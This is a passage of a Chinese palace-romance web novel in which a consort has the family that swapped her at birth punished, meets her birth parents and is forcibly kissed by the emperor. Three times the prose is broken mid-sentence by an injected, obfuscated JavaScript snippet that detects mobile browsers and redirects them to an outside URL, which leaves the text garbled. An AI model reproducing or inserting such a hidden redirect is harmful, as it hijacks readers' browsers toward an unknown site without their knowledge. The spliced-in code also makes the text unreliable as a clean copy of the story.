焉闻玉撑着手臂往前蹭了蹭,脑袋贴近他脖颈旁,嘟起小嘴轻轻吹气,吐气如兰:“陛下,你感觉如何?” “……不如何。”魏鄞修耳根发痒。 焉闻玉低声道:“刘家谢姨娘心术不正,品行不端,当年不仅调换孩子,这期间还屡屡暗中侵害焉家,臣妾想把她抓起来。” 凭什么这是刘家家事,刘坤致身为家主不追究,她就能犯了错逍遥法外? 那受害者的人生又算什么? 刘静花固然可恶,她也确实是受害者,还有焉淮山夫妇,乡下人谋食本就不易,哪能由得人针对捣鬼,苦苦挣扎在泥地里…… 如今还被刘家打断了腿? 亏得不是双手,否则一个厨子岂不成了废人? “你躺在朕身边,先前都敢与朕赌气,如今不敢处置一个毒妇?”魏鄞修缓缓睁眼,眉梢微扬。 谁跟他赌气了? 焉闻玉懒得争辩此事,爬着坐起来,一字一句道:“我要把谢姨娘关大牢,还要打断刘静花的腿。” 一句话就能发落一个人,她从未体验过,她又不是堂上的官老爷…… 可有一些所谓的家务事,官老爷不管,她若胆小怕事,谁来替无辜者主持公道? 焉淮山没有得罪任何人,更不曾亏欠刘家丝毫,简直是无妄之灾。 而她享用的刘家富贵,早已在登上马车的那一瞬一笔勾销,以五百金偿还清了。 “你不想杀了她们?” 魏鄞修打量她方才哭过的红色眼皮,毫不怀疑,便是递一把刀给她,都不敢下手捅人。 一开口就是杀人,未免也太过凶残……焉闻玉回道:“陛下,她们罪不至死。” “无用之人,死不足惜。”魏鄞修的语气波澜不惊,仿佛已经把她们看做死人。 焉闻玉大抵知晓他的脾性,他不仅睚眦必报,还心狠手辣。 不过他是皇帝,岂能人人与他一样? 那些企图害他之人,其心可诛,倘若他心慈手软,来日死的便是他自己,甚至会连累身边一群人接连送命。 身份不同,状况大不一样,不可同日而语。 焉闻玉从来没想过要为了一己私怨去除掉谁,不过…… 魏鄞修也不知是嫌她没用,或有其他深意,隔日让训德公公给她送来一样东西—— 天光大亮,焉闻玉醒来较晚,枕边已经没人了。 听兰弄梅端盆打水伺候梳洗,思竹则从外间捧着个托盘入内。 “娘娘,陛下赏赐了一根犀角火纹鞭!” 梳妆台前的焉闻玉扭头看去,红黑相间的鞭子卷在托盘上,手柄由犀角雕刻制成,很是好看。 焉闻玉一个外行人,也只能瞧出好看了,她伸手抓起,拿到眼前端详:“给我鞭子?” “娘娘,这可不是寻常的鞭子,”思竹笑着解释:“朝悦宫赏赐虽多,但都不及这一个。” 方才训德公公郑重其事的交待,这犀角火纹鞭乃是当年启昌帝教训皇子皇孙之物,还抽过朝中大臣,非同凡响。 后来启昌帝将鞭子给了皇孙魏鄞修,再没在人前现身,时隔多年才从库房里翻出来。 焉闻玉被鞭子的来历给惊着了,顿觉手中沉甸甸的。 她有些不解:“既是陛下的皇爷爷所赠,为何又赏赐给我?” 思竹拉着听兰几人齐齐跪下一拜,道:“奴婢恭贺娘娘,奴婢以为,此物堪比尚方宝剑。” 但凡哪个敢冒犯,都能抽打他,无敢不服! “这……”焉闻玉只觉它烫手无比。 思竹笑道:“陛下知道娘娘心软,这是怕娘娘被人欺了去,尚方宝剑不便给后宫女眷,火纹鞭正正合适!” 她们近身伺候的,不仅听闻了主子的过往,昨日还见着刘家人了呢。 那个真千金满心惊恐,现在才知道怕了,可内心依然愤懑不服,深深嫉恨着主子。 虽说未曾过多接触,可在深宫行走,什么样的女人没见过,刘静花这点城府,她还以为将情绪藏得很好? “他指不定是心里笑话我没用呢。”焉闻玉嘀咕着,把鞭子抱在胸前。 不论魏鄞修是出于何种心思,她都承他好意,这是把自保能力递到她手里来了。 虽然它可能挡不住下毒和刺杀,可在明面上,杀伤力十足。 ******* 焉闻玉用过早膳,前往客院面见她的亲生爹娘。 许是近乡情怯,昨夜她满心焦急,宁愿先见冉月棠和知夏,也不想立刻与焉家叙话。 而今早,她终于见到了自己父母。 焉淮山和徐金兰,如世间大多数农户一样,脸庞晒得黝黑,眼角细纹,饱经风霜。 他们十六岁成亲,十八岁诞女,现今三十出头,看上去比养尊处优的孟氏等人老了不少。 年轻时的焉淮山浓眉大眼,徐金兰五官清秀,从焉闻玉的眉眼间依稀能看出与他们肖似之处,但非常少。 女儿和自己长得不相像,让本就局促的两人,更加手足无措。 焉闻玉同样有些无措,看向焉淮山的拐杖,轻声问道:“你的腿没事吧?” 她还以为他们不来接她,在刘家数日,自顾自想了好些缘由…… “没事没事,”焉淮山连忙摆手,道:“公公找了非常好大夫,前天重新接骨了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281313|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 焉闻玉看到了他的双手,粗糙不堪,比大户人家的仆从更甚,她一下就红了眼眶。 他有一手好厨艺,否则当年也不会被刘家选中,回乡镇里支起一个馄饨摊子,未尝不能把小日子过得美满。 可是谢姨娘暗中命泼皮无赖收取保护费,时不时就去找麻烦,焉家常年穷苦,难以翻身。 “娘娘,娘娘你别哭啊……”徐金兰一看她哭,跟着也哭起来。 焉闻玉抽抽小鼻子,道:“不要那样叫我,我乳名绵绵……” “可是……”他们哪敢唤宫中娘娘的乳名? 徐金兰心中酸楚,她一直不知道静花非亲生闺女,静花脾气不好,嫌弃家贫,日常充满争吵与怨怼。 父母没本事,不能给女儿买漂亮的衣裙首饰,她怨也是应当…… 徐金兰怕焉闻玉也是这个想法,锦衣玉食的娘娘,还看得上他们这上不得台面的父母么? 殊不知焉闻玉同样诸多顾忌,爹娘二字喊不出口。 魏鄞修从外入内,进门便见这双方泪眼相对的模样。 他摆手免去礼数,拉着焉闻玉一同坐下,低头在她耳边道:“绵绵当真是水做的。” “……”胡说! 焉闻玉不想哭的,看到他来,更是努力憋住,免得又被这人揶揄。 魏鄞修让二人坐下喝茶,不必拘束,道:“朕意欲封你爹为庆康郡公,享食邑两千户,绵绵以为如何?” 郡公?焉闻玉对爵位知之甚少,反正听着是个厉害名头,还有两千户食邑……这当然很好。 只是……她摇头拒绝:“多谢陛下,无功不受禄,郡公还是不必了。” 向来都是有功之士,做了郡公国公,封侯拜相,她的爹娘如何当得,尤其是她并不准备携带亲人到京城。 便在自己的家乡做个闲散的富贵老爷,已是极好,万不能掺和进去。 魏鄞修什么都不曾告诉焉闻玉,她不知自己会是何种结局,也不敢猜。 她的心那么小,半点都不敢多贪,只想把手中钱财留给在乎之人,莫要有谁去打扰,不惹人瞩目,想来就不会有危险。 荣华富贵惯来与危机相伴,焉家要是胆敢到皇城底下以国丈身份自居,定会招来许多视线,倘若有个万一,指不定就跟她的小命一起搭进去了。 焉闻玉拒绝,焉淮山同样惶恐不敢受:“草民什么都不懂,不给娘娘添乱就不错了……” 魏鄞修见他们再三推辞,没有强求,喊来训德安排小太监去传召御医,到嘉邑县把这断腿看好为止。 徐金兰两人自是感恩戴德,焉闻玉也没有拒绝,他这断腿拖了许久,错过最佳治疗期,就怕寻常的大夫治不好。 可别变成了跛子。 焉淮山有伤在身,且魏鄞修的出现让他们紧张无比,焉闻玉没有多做逗留,便起身离开客院。 此番匆忙一见,双方都很陌生,她最终也没开口叫爹娘。 或许中午用膳时就能自然而然的喊出来了。 县太爷的宅子小,转半圈就回到暂时落脚的院子。 魏鄞修挥退了听兰等人,瞥一眼焉闻玉:“过来。” 他在矮榻上撩袍落座,抬眸问道:“为何拒绝朕的封赏?” 焉闻玉乖乖站到他跟前:“陛下,臣妾父亲真的当不起……” 他伸手,一把拽过她,力气很大,一点不担心她跌撞过来。 焉闻玉毫无防备,差点就摔到他大腿上,幸而及时用手撑住一旁的方桌。 不过……即使刹住了车,他们的姿态也颇为怪异。 魏鄞修坐着,比焉闻玉矮一个身位,而她一手扶在桌上,身子前倾,那圆滚滚巍颤颤的胸团差点没贴到他脸上去。 “陛、陛下!” 焉闻玉一口气噎在胸口,简直不敢呼吸,紧张之下,起伏更大。 魏鄞修好似没瞧见她的窘迫,薄唇轻启,一字一句:“朕给你的,你便受着。” 太近了…… 焉闻玉瞬间染红了眼角,委屈巴巴,有口难言。 总感觉……他每吐露一个字的气息全喷洒在她身前…… 21.退路 “你、你松开……”焉闻玉挣扎,解救出自己的手腕,一连后退到三步开外。 一手抚上自己的胸口,心脏扑通扑通鼓动着,差点没从嘴里蹦出来。 魏鄞修不动声色,把她每一个生涩的反应尽收眼底。 淡淡道:“你不想与家人团聚?你在怕什么。” 焉闻玉的指头揪着自己衣袖,回道:“陛下也看到了,臣妾父母是淳朴乡人,若是做了郡公,在京城里要与人交际,人情往来皆要从头学起,还得谨言慎行……” “谨言慎行?绵绵恐怕错估了自己的分量,”魏鄞修打断她的辩解:“一个有脑子的管家便足以应付这一切。” 世人惯来捧高踩低,锦上添花者无数,祝妃如今是唯一的宠妃,旁人只恨没有巴结她的机会,一旦焉家人出现,就像一个突破口。 不仅不会有人嫌弃他们的出身,反而会一边艳羡一边夸出一朵花来,谁敢去挑剔他们的规矩? 焉闻玉听懂了他的意思,仔细想想,还真是这个道理。 这便是权势的力量,会发现身边所有人都友善可亲,笑脸相迎;反之则人厌狗弃,路过的癞皮狗都要踩上一脚。 可是这些荣华,于焉家而言,犹如云烟,风吹即散,雁过无痕。 凡事皆要代价,付不起的人,就别轻易入局。 以魏鄞修的心智和洞察力,只肖一眼就能看透她的心思。 他冷嗤一声:“朕说保你不死,看来你不信。” “臣妾并非不信……”焉闻玉连忙否认,一抬头,见他神色微凉,后知后觉的发现,他可能生气了。 她立即屈膝跪下:“陛下一番好意,是臣妾不识好歹,拂了陛下脸面。” “起来。” “还请陛下恕罪。”焉闻玉跪着没动。 “朕让你起来,”魏鄞修居高临下,冷冷望着她:“你既不信朕,自己留了退路,朕也懒得管你。” “臣妾……”焉闻玉不敢不听话,可站起来又觉腿软,他心生不悦,是说不管她死活了么? 魏鄞修没有继续追究,自行去了书房处理政务。 虽说下午就要回宫,可一些紧急之事还是递送了过来,等不得明日。 焉闻玉回里屋歇息,抱着她新到手的犀角火纹鞭细细端详。 平心而论,魏鄞修待她很不错,日常里不曾用规矩苛责,她也不需要以身侍寝,衣食住行更是周到得很。 但这是因为她还有用,皇帝不让她死,她的死期就不会到。 那等她无用的那一天,他当真懒得管她了,就随便一个人都能弄死她。 到时焉家如何自处?什么郡公,皆是虚名。 在乡间守着小小富贵才最安稳,她的选择没有错。 ******* 焉闻玉和父母一起共用了第一顿午饭,同席的还有冉月棠和知夏。 饭后她立即让人备车,一行人去刘家算账。 魏鄞修没露面,让训德跟着走一趟。 训德自然乐意,不过略有不解:“陛下不去么?” 祝妃年轻不经事,娇娇柔柔惹人怜惜,他瞧着陛下颇为上心,事无大小亲自过问。 换做之前,这些琐碎哪是陛下愿意理会的。 “区区一个商户,”魏鄞修头也不抬:“要朕出手?” “他们何德何能!”训德笑摆手道:“光是一根火纹鞭就了不得,连文武大臣都能抽,何况还有老奴同去……” 这不知道的,还以为祝妃是要去哪个王孙公府里发威风呢。 都说杀鸡焉用牛刀,挡不住陛下非要塞一把牛刀过去啊…… “废话少说。”魏鄞修面无表情,道:“回宫后找几个聪明的到朝悦宫,把那些蠢笨的全部换掉。” “是老奴多嘴了,”训德一手搭在嘴巴上,恭恭敬敬道:“老奴定然仔细挑选。” 他是皇帝最亲近的心腹,此行虽然没跟去江东,但是途中发生的小插曲清清楚楚。 掌握了讯息,才方便做好相应的周到安排,保管让主子妥妥帖帖。 像是‘名器’等字眼,染菊不懂,训德当然也会烂在肚子里,不过…… “陛下,可要安排一位教习嬷嬷?” 祝妃入宫至今尚未得到任何房事指点,这怎么能伺候好圣上呢? “不需要。”魏鄞修断然拒绝。 训德明白了,他特意问一嘴,没有自作聪明,这便是他的生存之道。 揣着双手乐呵呵道:“闺房之趣,自然还是陛下亲自教为好。” “舌头不想要可以直说。”魏鄞修缓缓抬眼。 “……老奴这就闭嘴。” 焉闻玉要处置惩罚那些作恶之人,买回知夏的卖身契,送她和奶娘一同陪伴爹娘。 询问过焉淮山的打算,他多年来一直有个开食肆的心思,以前好几次都开起来了,生意还不错,但总会被人破坏。 这次待到腿伤养好,他准备重整旗鼓。 “承蒙娘娘与陛下恩泽,我们才有这个本钱,自食其力才踏实。”焉淮山愧疚得很,他自觉拖了后腿。 给不了女儿任何,难道还要一直等着女儿供奉么? 焉闻玉没有反对,自力更生当然好,不过:“别累着自己,多请些人手帮忙。” 她怕爹娘太老实受欺负,得多请几个看家护院的。 有知夏和奶娘相助,想来不会出什么问题,她们退去奴籍,往后奶娘留在焉家养老,知夏到了年岁许配人家,也跟半个女儿一样了。 焉淮山和徐金兰都很喜欢知夏,是个老实孩子,在刘家被磋磨几个月,面黄肌瘦的看着人都心疼。 若非真心相待,早就舔着真千金去了,何必吃这些苦头。 知夏却有些闷闷不乐,小姐给她安排的去处当然是极好的,可是为何不让她跟随侍奉呢? 而且还那般思虑长远,连她往后的去处都想好了…… 知夏毕竟陪伴焉闻玉多年,最为了解,她越想越觉得有些不对劲。 小姐惯来不是操心的性子,如今给安排了一圈,却独独漏了她自己。 她很不放心,冉月棠同样不放心:“都说一入宫门深似海,绵绵人如其名,被欺负了怎么办?” 知夏跟着一点头,在后宫里没有可信之人,岂不是孤军奋战? 冉月棠撑着下巴想了一圈,决定让她爹在京城给她安置一个宅子,方便就近联络。 焉闻玉与她二人坐在同辆马车里,眼睛都睁圆了:“这如何使得,伯父的生意都在嘉邑县,你一个姑娘家独居京城?” “放心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13292078|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧,他本就打算把生意往京城铺张,不过那里卧虎藏龙谋生不易,没敢轻易出手。”冉月棠拍拍自己:“我虽是女儿身,但自幼耳濡目染,且让我去试试水!” “祯儿,你要自己经商?”焉闻玉惊叹之余,也有担忧。 冉家是嘉邑县富户,嘉邑县只是京城辖内一个边缘小县,但人口不少,有的是生意做。 冉伯父年轻时也想往京城繁华之处挤一挤,但那地方可都不是寻常人,多的是高门大户,再不济也是权贵的亲戚。 个个沾亲带故,冉家没有根基,守着祖业不敢贸然去搏,一个不好血本无归,富贵败起来快得很! 冉月棠道:“我必须去试试,我爹还年轻呢,万一跟刘坤致一样搞个庶子出来偏心怎么办?” “你有兄长,自然不同。”即便现在弄出庶子也是奶娃娃,十几年时间太长了。 “我哥就是个没用的纨绔。”冉月棠说起他都要翻白眼了,家中生意全赖父亲,兄长半点用都无! “确实靠人不如靠己……”焉闻玉拉住她的手:“祯儿,我支持你,若本金不够,我这里有。” “绵绵如今发达了,我当然高兴!不过你好生奇怪,一副四下散财的架势。”好像不花出去,以后没机会花一样。 冉月棠当然是希望她趁着受宠之时,多囤钱财,早生贵子,往后在宫里才安稳。 “陛下待你好不好?”冉月棠压低了声音问道。 “很好的,”焉闻玉垂下眼帘:“他送来许多赏赐,价值连城,祯儿不必替我节省。” 冉月棠放心了:“咱们绵绵千好万好,这么个大美人,哪个男子不喜欢?便是高高在上的皇帝,那也不例外!” “你这嘴可饶了我吧。”焉闻玉捂住耳朵。 “但是自己多留些钱财准没错,有钱能使鬼推磨呢。”冉月棠道:“你可别报喜不报忧,我虽帮不上忙,多个人出主意也是好的。” 焉闻玉摇头否认:“我哪有什么忧愁,后宫如今就我一人。” 说起这个冉月棠就乐:“没有旁人更好,绵绵快些生两个小娃娃,要儿女双全,我等着当姨母哦!” 说不准她还会当上太子殿下的姨母!想想就好威风! 冉月棠说风就是雨,立即缠着焉闻玉要当干娘:“你还记得么,我们小时候去看我堂姐出嫁,当时说要给对方的孩子做干娘。” 她大叹自己先见之明,给未来宝宝攀了个了不得的亲戚。 “我记得。”焉闻玉一点头。 看着祯儿还像幼时一般与她要好,絮絮叨叨,仿佛时光不曾流逝,她们的童言稚语也都当真。 她的心就无比柔软。 可是一切已经不一样了。 竹林里的刺杀,让她记住了那真切临近的死亡恐惧。 陛下未与她圆房,棋子随时有可能被舍弃,儿女双全,半生安稳,未见得谁都有这个福气。 “那你答应好不准反悔,”冉月棠很喜欢白白嫩嫩的奶娃娃,笑嘻嘻道:“待我去到京城,就开始物色俊美公子,做孩儿他爹。” 焉闻玉知道她向来口无遮拦,也不害臊,掰着手指头一算,慢吞吞道:“那你要快一点,成亲一年怀孕一年,就要两年时间了。” 两年那么久,她都怕自己等不到那一天。 22.交待 马车抵达刘家,他们一群人恭候已久。 昨日刘家人被叫到城门外恭迎圣驾,接着就被打发回去了,县太爷派人盯着,谁都不准出门躲避,随时等候祝妃娘娘的召见。 就跟等待宣判的罪犯一样,被软禁在家里,刀子悬而不落,叫人心惊胆战,坐立难安。 除去每时每刻的煎熬,剩下的便是悔恨。 尤其是孟氏,她迎回自己亲生女儿,弄走了鸠占鹊巢的焉闻玉,甚至把她当成未来隐患给解决掉。 可一切如她意之后,日子不仅不顺畅,也不快活。 郑慕远心悦焉闻玉,得知她被送走下落不明,怒不可遏,坚决不娶刘静花。 两家的婚事被硬拖着,刘家成了胡搅蛮缠的那一个,叫孟氏心力交瘁,她生性爱惜脸面,弄得这样难看,还有何颜面见人? 再说刘静花,孟氏与她相处两个月,从起初的痛惜到后面逐渐无奈,她不得不承认,她的女儿是个自私自利之人。 刘静花没本事,可什么都要争,逼着孟氏催促郑家履行婚姻,还要刘坤致一碗水端平,把那庶兄踹下桌。 刘静花当然讨不着好,刘家庶子年长,经验历练皆胜过小姑娘,偏房还人多,他已经娶妻生子,有妻室帮扶,有儿子在刘坤致面前承欢。 当初乖巧的焉闻玉,在刘坤致心里都比不上儿子孙子,何况换成一个相处短暂的刘静花。 她冲动易怒惹下的乱子,样样都要孟氏善后,孟氏落不着好反遭埋怨,骂她没本事笼络住丈夫,出身大户竟然让妾室嚣张至此。 这是孟氏多年心病,被亲生闺女扎得极痛。 若非没有孩子,怎么会由得妾室生下庶长子,这是老天爷不给,而不是她不争。 旁人说了便罢,她的孩子竟是半点不心疼体谅母亲,只一味责怪,恶语相向。 孟氏被气得病了两场,终于开始念叨焉闻玉的好。 那孩子心肠柔软,也看得开,早就劝过她,不要去介怀一个男人的情爱,她娘家底气足,手里握着刘家库房账簿,于情于理都是主母料理府中一切。 有孟家在嘉邑县,谢姨娘母子再怎么蹦跶,也只会分到三瓜两枣。 刘坤致不敢把家财都给庶子,否则孟家一准打上来,也不会继续与刘家做生意。 旁的皆是虚的,真金白银才是真实,若按照之前,焉闻玉嫁给郑慕远,清贵读书人,他考取功名后刘坤致更加不敢怠慢妻女。 便只是秀才老爷,也多少人难以企及。 换成刘静花,显然行不通,孟氏都怀疑她搭上嫁妆都难出嫁。 随着时间推移,孟氏开始后悔,她娇养大的小姑娘,样样都好,如今却不知在哪个角落,被个老男人给糟蹋了。 她当时恨意滔天,知晓郑慕远对焉闻玉的心思,生怕她成为下一个谢姨娘,夺了静花的富贵不说,还要毁她人生。 可冷静下来仔细一想……绵绵不会那么做,她知道的。 而后来,郭县令亲自登门,带来一个震惊所有人的消息,孟氏悔恨交加,刘家要完了! 所有人吓破了胆,刘静花也害怕,同时还有愤恨,她恨天道不公。 焉闻玉抢走她的小姐人生,如今没有落难,竟然还进宫做娘娘? 凭什么?她凭什么没有被踩进泥地里? 焉闻玉本可以不来,可刘家养她一场,换回身份后,她喊了多年的爹爹避而不敢见,她要去了结这一切。 冤有头债有主,罪魁祸首谢姨娘是第一个。 焉闻玉要发落她,她这下知道怕了,没人保得住她,跪地哭诉道:“民妇罪该万死!可若不是民妇,娘娘哪有今日这周身的富贵……” “来人,掌嘴!”训德可不像焉闻玉嘴笨,他一招手就让打:“这是娘娘自身的福气,你个搅家精好意思往自己身上揽?若不是你,刘家何至于此?” 一切都是因为贪婪,妾室母凭子贵,还要更多,甚至出手害人。 焉闻玉要为无辜的焉淮山讨回公道,谢姨娘使了银钱给泼皮无赖,属实很可恶,当然要抓去蹲大牢。 这会儿刘坤致不敢包庇她了,一句话都不敢说。 训德怕焉闻玉碍于养父一场,不便惩治,早就得了陛下一道口谕。 “身为家主,治家无道,约束不力,放任妾室作恶,罚三十大板。” 打板子只是皮肉伤,够他疼大半个月了。 至于刘静花,焉闻玉同情过她的遭遇,此时却不会心软,命人打断她两条腿。 “焉家从来都不欠你的,害你者另有其人,你断他一条腿,我便断你两条。” 焉闻玉背过身去不看训德公公教训人,可徐金兰和焉淮山却求了过来。 断腿之痛他们清楚,静花是他们一手养大的,此时看她受罚于心不忍。 焉闻玉看看泪流满面的徐金兰,再看看孟氏:“我果真是你们亲生的,不像她们那般绝情,你们把刘静花当孩子,她不把你们当父母,刘夫人同样在瞬间就憎恶了我。” 她当时被孟氏伤透了心,倒是能够理解爹娘对刘静花的宽容。 十几年的光阴,含辛茹苦把一个小婴孩抚养成人,但凡是颗肉长的人心,就很难瞬间割裂。 “绵绵……”孟氏泣不成声:“是静花错了,我也错了!” “你当然错了!便是养了猫儿狗儿这么多年都有感情,你却是把人给卖了!丧良心的!”徐金兰能容忍刘静花,绝不会原谅孟氏,当即就撕打了上去。 两人顿时乱成一团,刘家的庭院堪称鸡飞狗跳,处处哀嚎。 焉闻玉没想要刘静花的命,或者让她成为残废,可以不断腿,但必须让她吃教训。 训德躬身建议:“那就给她点皮肉伤吧,打板子。” 焉闻玉一点头,道:“好,打她三十大板。” 这回焉淮山没有出声阻止,经此一遭,他们家与刘家尘归尘,土归土,再也别见,也不会再踏入此处。 从刘家出来时,焉闻玉的心情颇为平静。 在这个她成长的地方,目之所及,无不熟悉,可已经心死过一次,再难起波澜。 她正欲登车,街角忽然转出一个人来,一身清雅的水纹蓝衫,眸光幽幽望着她,竟是郑慕远。 “学生见过祝妃娘娘。”郑慕远上前见礼,举止温文,挑不出错来。 可是他的眼神那样专注,似乎想把她从头到脚看个仔细。 哪里能瞒得过训德这老狐狸,他笑着问道:“这位公子莫不是姓郑?” 刘家定下的姻亲,年岁相宜,正在筹备今年秋闱,还用得着猜么。 “郑公子有何事?”焉闻玉转过身来。 冉月棠立即凑上前,小声告诉她:“刘家把你卖了,他心急如焚,与我兵分两路派人去寻你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13305914|138530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下落……我怕影响你和陛下的感情,未说与你听。” 在她看来,这个昔日的未婚夫婿,待绵绵倒是有几分真心,可惜了。 焉闻玉闻言,神色有一丝怔愣。 若只是忧心她的安危,她愿意承这份好意,可要是夹杂了其他私情,那可就冤枉她了。 以前虽有婚约,但他们恪守礼数,私底下并无交集,更无定情事实。 稍有不慎,容易落人口舌。 郑慕远是读书人,知道有些话说不得,纵使怅然若失,也把那千言万语抿在肚子里。 他拱手道:“学生到刘家退亲,遇见祝妃娘娘,岂有不拜见之理。” “退亲?”冉月棠轻咳一声,这是特意说给绵绵听的吧,她忙道:“拜见完就快进去吧。” 这么多眼睛瞧着呢,她都捏一把汗! 焉闻玉颔首与他别过,乘车返回郭县令家里。 ******* 染菊和思竹早已收拾好行囊,下午就要启程回宫,莫约入夜抵达皇城。 要跟冉月棠分开了,焉闻玉在马车就说了好些话,两人约好书信往来,等她到了京城相见。 还交待了知夏不少事,她和奶娘以后留在焉家,如今奶娘带病,焉淮山有伤,需得好生照料。 待到身体康健后,再去筹备食肆等事宜。 焉闻玉有心让知夏当焉家干女儿,脱了奴籍有亲人庇护,爹娘也不至于膝下空虚。 可是时间太仓促了,显然来不及认亲,甚至她都没能与父母多多熟悉…… 只得暂且作罢。 回宫的马车里,依然是跟魏鄞修相对而坐。 小茶几茶香袅袅,他独自品茗,一言不发。 焉闻玉正想找一本书打发时间,便听他发问道:“你就没有话与朕交待?” 这是从何说起?焉闻玉看向他:“臣妾愚钝……” “愚钝?”魏鄞修冷嗤一声:“你确实不聪明,自以为还有退路。” 焉闻玉略一沉默,有些难堪,低声道:“陛下智多近妖,还有什么不清楚的,臣妾这丁点挣扎求生,落你眼中想来十分可笑……” “所以你不选朕,选择他?” 魏鄞修罕见的动了怒气,把人拉扯过来禁锢在腿上,一手按压住她细白的后颈:“焉闻玉。” 她实在太轻了,一下就给拉过去落他怀里,头一回听到他这样连名带姓称呼自己,还、还捏着她后脖子。 焉闻玉有些害怕,一手抵在他胸膛上,大着胆子问道:“陛下在说谁?” “你那个心急如焚,派人寻你下落的未婚夫。” 他神色不善,把不久前冉月棠传达的话给复述了一遍,焉闻玉惊呆了,他是从何得知? “他是你的退路么?嗯?” 魏鄞修炙热的大掌扣在她后颈处,仿佛前来索命的修罗,稍一低头,恶狠狠地吻上她的唇。 微启的小嘴红润湿软,他浅尝辄止,抬头扫一眼她痴傻的模样,低头继续。 “唔……” 焉闻玉被他紧紧抱在怀中,一手扣着腰肢,一手按住后脖子,全然的堵住了呼吸。 他的蛮横进犯,逼得她眼尾泛红,却又无处可逃。 “你没有退路了,焉闻玉。” 魏鄞修轻吮她的唇瓣,来回厮ii磨,又湿又软,直把人欺负得水雾弥漫,泫然欲泣。